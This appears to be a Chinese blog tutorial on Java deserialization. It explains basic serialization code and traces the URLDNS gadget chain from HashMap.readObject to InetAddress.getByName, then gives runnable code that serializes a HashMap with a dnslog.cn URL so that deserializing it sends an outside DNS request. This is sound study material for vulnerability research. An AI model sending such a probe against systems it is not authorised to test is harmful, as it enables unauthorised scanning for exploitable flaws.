下面开始正式学习Javaweb安全
目录
Java反序列化
为了方便数据的存储,于是乎有了现在的Java序列化于反序列化。序列化就是将Java对象存储到一个文件,反序列化则是读取序列化生产的文件,还原Java对象,常见的基础反序列化。
首先类需要实现Serializable这个接口,虽然这个接口里面没有东西,但是不实现这个接口则无法序列化。用transient 关键字修饰的属性除外,不参与序列化过程。
和PHP序列化和反序列基本一样
- 参与序列化和反序列化的 Java 类
public class Student implements Serializable {
private String name;
private int age;
// 以下省略有参构造、无参构造、set、get、toString
}
参与序列化和反序列化的类必须实现 Serializable 接口。
//序列化操作
public static void Serialize(Object obj) throws Exception {
// 对象输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj"));
// 使用 writeObject 序列化对象
oos.writeObject(obj);
// 刷新
oos.flush();
// 关闭流
oos.close();
}
//序列化后的二进制文件会被保存到文件输出流指定的路径。
// 反序列化操作
public static void Deserialize() throws Exception {
// 对象输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("student"));
// 使用 readObject() 反序列化
Object obj = ois.readObject();
// 使用对象
System.out.println(obj);
// 关闭流
ois.close();
//反序列化需要借助文件输入流读取指定路径的二进制文件。
}
例子如下:
package com.mytext.servlet;
import java.io.*;
class ser implements Serializable {
public String name;
public int age;
public ser(String name, int age) {
this.name = name;
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void out(){
System.out.println(this.name) ;
System.out.println(this.age) ;
}
}
public class serializeout {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//实例化类
ser st = new ser("name",12);
FileOutputStream fos = new FileOutputStream("1");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
oos.flush();
oos.close();
fos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1"));
// 使用 readObject() 反序列化
Object obj = ois.readObject();
// 使用对象
System.out.println(obj);
// 关闭流
ois.close();
}
}
URLDNS链
URLDNS链的作用
URLDNS,它的功能正如其名发起DNS请求,因此无法回显,只能检测Java反序列化漏洞,构造好测试代码,然后开始调试。
根本目的通过HashMap的readObject读取一个序列化文件,然后通过这个序列化文件去访问到 InetAddress类中的getByName()方法,这个方法可以向外发送一个访问请求,从而检验Java反序列化漏洞。
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现。而正是因为在HashMap中,Entry的存 放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
URLDNS链的形成
URLDNS链的起始位置就是HashMap类,因为是研究反序列化问题,所以我们来看一下它的readObject方法。
首先创建一个新的java类,
HashMap.readObject()
ctrl+左键点击HashMap跟进
并且找到readObject方法
这里发现readObject方法调用了hash方法
继续跟进
HashMap.hash()
发现了hash方法会调用key的hashCode的方法
那么key又是什么呢,回去看看。
继续看看K是什么数据类型呢,在HashMap类的开头我们可以看到官方给出的定义
- 那么现在的思路就是,通过HashMap类的入口处传参,**我们的K要传入一个类,**并且这个类具有两个性质:
- 这个类具有hashCode方法
- 这个类的hashCode方法可以调用到InetAddress类中的getByName()方法
URL.hashCode()
假装我们早就知道URL.hashCode()方法可以构成链子来访问InetAddress类中的getByName()方法
现在跟进到URL这个类,找到hashCode方法
下面继续跟进
handler.hashCode()
这里我们发现,这里有一个InetAddress类
注意,我们的目的是要调用InetAddress类的getByName()方法,所以其他的方法我们先不看。
然后呢,跟进一下getHostAddress()方法
InetAddress getHostAddress()
看,这里我们就能访问到InetAddress.getByName()
- 对于InetAddress的如何访问的细节,这里不过多的研究。下面开始构建链
构造好的链子:
HashMap.readObject()-->HashMap.hash()-->URL.hashCode()-->handler.hashCode()-->InetAddress getHostAddress()-->InetAddress.getByName()
传参接口
我们通过创建好的HashMap类通过HashMap.readObject()方法直接进入HashMap.hash()时我们好像并没有执行改变hashCode的值为不是-1(因为它默认值是-1)
(因为evict参数是false,跟进底层代码发现,这个开关是表示是否添加新结点的意思)
- 这个时候,我们又找到了一个方法,put方法。他可以把hashCode的值改成value的值
使用put(url,22)传入参数即可
运行代码
写好代码然后添加一个序列化和反序列化的模板即可
首先找到dnslog.cn这个网站,可以验证我们是否访问到了这个网站,可是网站反应着实是巨慢
然后可以获取一个域名,添加到
import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception {
URL url= new URL("http://2fvfpv.dnslog.cn");
HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
hashmap.put(url,23);
Serialize(hashmap);
Deserialize();
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
//序列化操作
public static void Serialize(Object obj) throws Exception {
// 对象输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj"));
// 使用 writeObject 序列化对象
oos.writeObject(obj);
// 刷新
oos.flush();
// 关闭流
oos.close();
}
//序列化后的二进制文件会被保存到文件输出流指定的路径。
// 反序列化操作
public static void Deserialize() throws Exception {
// 对象输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj"));
// 使用 readObject() 反序列化
Object obj = ois.readObject();
// 使用对象
System.out.println(obj);
// 关闭流
ois.close();
//反序列化需要借助文件输入流读取指定路径的二进制文件。
}
}
运行代码过一会,可以看见网站上有一个回显,这表明我们访问到了这个网站!
Comments | NOTHING